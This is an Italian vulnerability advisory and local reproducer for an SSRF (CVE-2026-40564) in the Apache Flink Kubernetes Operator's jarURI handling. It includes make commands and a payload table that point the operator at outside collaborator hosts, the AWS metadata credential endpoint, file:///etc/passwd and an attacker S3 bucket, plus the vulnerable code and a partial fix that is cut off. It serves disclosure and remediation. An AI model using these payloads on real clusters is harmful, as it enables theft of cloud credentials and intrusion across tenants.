
CVE-2026-40564: SSRF tramite jarURI di FlinkSessionJob in apache/flink-kubernetes-operator. Reproducer autonomo eseguibile su un cluster kind locale con un solo comando make.
L'Apache Flink Kubernetes Operator non controlla il campo spec.job.jarURI nelle risorse FlinkSessionJob (o FlinkDeployment). Chiunque possa creare una di queste risorse può impostare jarURI su un URL qualsiasi. Quando l'operator riconcilia la risorsa, recupera quell'URL dall'interno del proprio pod. Lo schema può essere http, https, file o uno qualsiasi dei plugin di filesystem inclusi in Flink, quindi la richiesta può arrivare quasi ovunque il pod dell'operator possa raggiungere.
main (1.15-SNAPSHOT al 2026-04-09)[email protected] e [email protected] il 2026-04-09SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Questo esegue cinque passaggi in ordine:
FlinkSessionJob il cui jarURI punta a quell'URLQuando funziona, la fine dell'esecuzione si presenta così:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
La prima esecuzione richiede dai 6 agli 8 minuti. La maggior parte del tempo serve a scaricare l'immagine flink:1.17, che pesa circa 700 MB. Le esecuzioni successive richiedono circa 3 minuti.
docker, kind, kubectl 1.23 o successivo, helm 3, make, curl e jq. Il cluster deve poter raggiungere internet per comunicare con webhook.site.
Di default il Makefile recupera per te un nuovo URL di webhook.site. Per inviare la richiesta altrove, imposta SSRF_URL con il jarURI completo che desideri. Viene usato esattamente come scritto.
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd
Il modo in cui la verifica conferma il risultato dipende dal target. Se l'URL è su webhook.site, il Makefile legge la sua REST API e stampa le richieste catturate. Per qualsiasi altra destinazione legge il log dell'operator e cerca lo stack frame di HttpArtifactFetcher.fetch, che dimostra che il fetch è stato eseguito. Anche WEBHOOK_URL funziona e significa la stessa cosa di SSRF_URL.
make cleanup
Questo rimuove il cluster kind. Non rimane nulla.
Sono coinvolte tre classi e nessuna di esse esamina lo schema, l'host o l'IP in jarURI.
DefaultValidator.validateJobSpec controlla il parallelismo, la modalità di upgrade, le impostazioni dei savepoint e la forma delle risorse. Non legge mai job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch sceglie un fetcher in base allo schema. Non esiste alcuna allowlist e qualsiasi cosa che non sia http o https ricade sul layer filesystem di Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch apre l'URL così com'è. Non c'è alcun controllo sull'host, nessun controllo sugli intervalli di IP e nulla che impedisca di raggiungere indirizzi loopback o link-local:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
L'operator di solito viene eseguito con RBAC molto ampi. Il chart Helm ufficiale concede * su diversi tipi di risorse, inclusi i segreti, e il pod normalmente può raggiungere la rete senza restrizioni. Se riesci a fargli inviare richieste per te, puoi:
FlinkSessionJobIn un cluster condiviso dove più team usano lo stesso operator, ognuno di essi può usarlo per raggiungere le risorse di un altro team.
Il reproducer usa webhook.site come valore predefinito, ma il bug non si cura di quale sia l'URL. Imposta SSRF_URL, oppure modifica manifests/vulnerable-sessionjob.yaml, con uno di questi:
jarURI | Raggiunge |
|---|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, le credenziali IAM del nodo del pod dell'operator |
http://10.0.0.1:6443/api | Un apiserver nel cluster, o qualsiasi endpoint interno che inserisca in allowlist l'IP dell'operator |
file:///etc/passwd | Il filesystem del pod dell'operator, tramite il ramo del filesystem fetcher |
s3://attacker-bucket/x.jar | S3, usando le credenziali del pod dell'operator |
Aggiungi un controllo a DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");